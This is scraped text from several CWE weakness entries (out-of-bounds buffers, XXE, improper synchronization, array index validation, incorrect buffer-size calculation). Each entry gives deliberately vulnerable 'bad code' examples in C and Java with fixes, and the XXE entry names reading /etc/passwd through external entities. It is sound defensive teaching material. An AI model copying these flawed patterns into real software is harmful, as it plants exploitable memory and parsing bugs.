For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Often Prevalent) C++ (Often Prevalent) Class: Assembly (Undetermined Prevalence) Example 1 This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer. (bad code)
Example Language: C
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr; char hostname[64]; in_addr_t inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */ validate_addr_form(user_supplied_addr); addr = inet_addr(user_supplied_addr); hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET); strcpy(hostname, hp->h_name); This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker. Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476). Example 2 This example applies an encoding procedure to an input string and stores it into a buffer. (bad code)
Example Language: C
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE); if ( MAX_SIZE <= strlen(user_supplied_string) ){ die("user string too long, die evil hacker!"); }dst_index = 0; for ( i = 0; i < strlen(user_supplied_string); i++ ){ if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&'; }dst_buf[dst_index++] = 'a'; dst_buf[dst_index++] = 'm'; dst_buf[dst_index++] = 'p'; dst_buf[dst_index++] = ';'; else if ('<' == user_supplied_string[i] ){
/* encode to < */
}else dst_buf[dst_index++] = user_supplied_string[i]; return dst_buf; The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands. Example 3 The following example asks a user for an offset into an array to select an item. (bad code)
Example Language: C
int main (int argc, char **argv) { char *items[] = {"boat", "car", "truck", "train"}; }int index = GetUntrustedOffset(); printf("You selected %s\n", items[index-1]); The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126). Example 4 In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method (bad code)
Example Language: C
int getValueFromArray(int *array, int len, int index) {
int value; // check that the array index is less than the maximum // length of the array if (index < len) {
// get the value at the specified index of the array
value = array[index]; // if array index is invalid then output error message // and return value indicating error else { printf("Value is: %d\n", array[index]); }value = -1; return value; However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below. (good code)
Example Language: C
... // check that the array index is within the correct // range of values for the array if (index >= 0 && index < len) { ... Example 5 Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Applicable Platform It is possible in any programming languages without memory management support to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.
CWE-611: Improper Restriction of XML External Entity Reference
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing. By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning. Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages XML (Undetermined Prevalence) Technologies Class: Web Based (Undetermined Prevalence)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.
CWE-662: Improper Synchronization
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.
Synchronization refers to a variety of behaviors and mechanisms that allow two or more independently-operating processes or threads to ensure that they operate on shared resources in predictable ways that do not interfere with each other. Some shared resource operations cannot be executed atomically; that is, multiple steps must be guaranteed to execute sequentially, without any interference by other processes. Synchronization mechanisms vary widely, but they may include locking, mutexes, and semaphores. When a multi-step operation on a shared resource cannot be guaranteed to execute independent of interference, then the resulting behavior can be unpredictable. Improper synchronization could lead to data or memory corruption, denial of service, etc. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
Example 1 The following function attempts to acquire a lock in order to perform operations on a shared resource. (bad code)
Example Language: C
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);
/* access shared resource */ pthread_mutex_unlock(mutex); However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior. In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels. (good code)
Example Language: C
int f(pthread_mutex_t *mutex) {
int result;
result = pthread_mutex_lock(mutex); if (0 != result) return result;
/* access shared resource */ return pthread_mutex_unlock(mutex); Example 2 The following code intends to fork a process, then have both the parent and child processes print a single line. (bad code)
Example Language: C
static void print (char * string) {
char * word;
int counter; for (word = string; counter = *word++; ) { putc(counter, stdout);
fflush(stdout); /* Make timing window a little larger... */ sleep(1); int main(void) { pid_t pid;
pid = fork(); if (pid == -1) { exit(-2); }else if (pid == 0) { print("child\n"); }else { print("PARENT\n"); }exit(0); One might expect the code to print out something like:
PARENT
child
However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:
PcAhRiElNdT
[blank line]
[blank line]
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance
Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.
CWE-129: Improper Validation of Array Index
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Often Prevalent) C++ (Often Prevalent) Class: Not Language-Specific (Undetermined Prevalence) Example 1 In the code snippet below, an untrusted integer value is used to reference an object in an array. (bad code)
Example Language: Java
public String getValue(int index) {
return array[index]; }If index is outside of the range of the array, this may result in an ArrayIndexOutOfBounds Exception being raised. Example 2 The following example takes a user-supplied value to allocate an array of objects and then operates on the array. (bad code)
Example Language: Java
private void buildList ( int untrustedListSize ){
if ( 0 > untrustedListSize ){ }die("Negative value supplied for list size, die evil hacker!"); }Widget[] list = new Widget [ untrustedListSize ]; list[0] = new Widget(); This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown. Example 3 In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method (bad code)
Example Language: C
int getValueFromArray(int *array, int len, int index) {
int value; // check that the array index is less than the maximum // length of the array if (index < len) {
// get the value at the specified index of the array
value = array[index]; // if array index is invalid then output error message // and return value indicating error else { printf("Value is: %d\n", array[index]); }value = -1; return value; However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below. (good code)
Example Language: C
... // check that the array index is within the correct // range of values for the array if (index >= 0 && index < len) { ... Example 4 The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index. (bad code)
Example Language: C
/* capture the sizes of all messages */ int getsizes(int sock, int count, int *sizes) { ...
char buf[BUFFER_SIZE]; int ok; int num, size; // read values from socket and added to sizes array while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0) {
// continue read from socket until buf only contains '.'
if (DOTLINE(buf)) break;
else if (sscanf(buf, "%d %d", &num, &size) == 2)sizes[num - 1] = size;
...
In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code. (good code)
Example Language: C
/* capture the sizes of all messages */ int getsizes(int sock, int count, int *sizes) { ...
char buf[BUFFER_SIZE]; int ok; int num, size; // read values from socket and added to sizes array while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0) { // continue read from socket until buf only contains '.' if (DOTLINE(buf)) break;
else if (sscanf(buf, "%d %d", &num, &size) == 2) { if (num > 0 && num <= (unsigned)count)
sizes[num - 1] = size;
else /* warn about possible attempt to induce buffer overflow */ report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n"); ...
Example 5 In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index. (bad code)
Example Language: Java
// Method called from servlet to obtain product information public String displayProductSummary(int index) { String productSummary = new String("");
try { String productSummary = getProductSummary(index);
} catch (Exception ex) {...} return productSummary; public String getProductSummary(int index) { return products[index]; }In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code. (good code)
Example Language: Java
// Method called from servlet to obtain product information public String displayProductSummary(int index) { String productSummary = new String("");
try { String productSummary = getProductSummary(index);
} catch (Exception ex) {...} return productSummary; public String getProductSummary(int index) { String productSummary = "";
if ((index >= 0) && (index < MAX_PRODUCTS)) { productSummary = products[index]; }else { System.err.println("index is out of bounds"); }throw new IndexOutOfBoundsException(); return productSummary; An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds. (good code)
Example Language: Java
ArrayList productArray = new ArrayList(MAX_PRODUCTS);
... try { productSummary = (String) productArray.get(index); } catch (IndexOutOfBoundsException ex) {...}Example 6 The following example asks a user for an offset into an array to select an item. (bad code)
Example Language: C
int main (int argc, char **argv) { char *items[] = {"boat", "car", "truck", "train"}; }int index = GetUntrustedOffset(); printf("You selected %s\n", items[index-1]); The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.
Theoretical
An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."
CWE-459: Incomplete Cleanup
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not properly "clean up" and remove temporary or supporting resources after they have been used.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect). (bad code)
Example Language: Java
try {
InputStream is = new FileInputStream(path); } catch (Throwable t) {byte b[] = new byte[is.available()]; is.read(b); is.close(); log.error("Something bad happened: " + t.getMessage()); }
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for "proper" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.
Relationship
Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).
CWE-682: Incorrect Calculation
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.
When product performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: Not Technology-Specific (Undetermined Prevalence) Example 1 The following image processing code allocates a table for images. (bad code)
Example Language: C
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs; ... num_imgs = get_num_imgs(); table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs); ... This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119). Example 2 This code attempts to calculate a football team's average number of yards gained per touchdown. (bad code)
Example Language: Java
...
int touchdowns = team.getTouchdowns(); int yardsGained = team.getTotalYardage(); System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored"); ... The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly. Example 3 This example attempts to calculate the position of the second byte of a pointer. (bad code)
Example Language: C
int *p = x;
char * second_char = (char *)(p + 1); In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Research Gap Weaknesses related to this Pillar appear to be under-studied, especially with respect to classification schemes. Input from academic and other communities could help identify and resolve gaps or organizational difficulties within CWE.
CWE-131: Incorrect Calculation of Buffer Size
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Example 1 The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget. (bad code)
Example Language: C
int i;
unsigned int numWidgets; Widget **WidgetList; numWidgets = GetUntrustedSizeValue(); if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) { ExitError("Incorrect number of widgets requested!"); }WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *)); printf("WidgetList ptr=%p\n", WidgetList); for(i=0; i<numWidgets; i++) { WidgetList[i] = InitializeWidget(); }WidgetList[numWidgets] = NULL; showWidgets(WidgetList); However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption. Example 2 The following image processing code allocates a table for images. (bad code)
Example Language: C
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs; ... num_imgs = get_num_imgs(); table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs); ... This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119). Example 3 This example applies an encoding procedure to an input string and stores it into a buffer. (bad code)
Example Language: C
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE); if ( MAX_SIZE <= strlen(user_supplied_string) ){ die("user string too long, die evil hacker!"); }dst_index = 0; for ( i = 0; i < strlen(user_supplied_string); i++ ){ if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&'; }dst_buf[dst_index++] = 'a'; dst_buf[dst_index++] = 'm'; dst_buf[dst_index++] = 'p'; dst_buf[dst_index++] = ';'; else if ('<' == user_supplied_string[i] ){ /* encode to < */ else dst_buf[dst_index++] = user_supplied_string[i]; return dst_buf; The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands. Example 4 The following code is intended to read an incoming packet from a socket and extract one or more headers. (bad code)
Example Language: C
DataPacket *packet;
int numHeaders; PacketHeader *headers; sock=AcceptSocketConnection(); ReadPacket(packet, sock); numHeaders =packet->headers; if (numHeaders > 100) { ExitError("too many headers!"); }headers = malloc(numHeaders * sizeof(PacketHeader); ParsePacketHeaders(packet, headers); The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow. Example 5 The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to malloc(). (bad code)
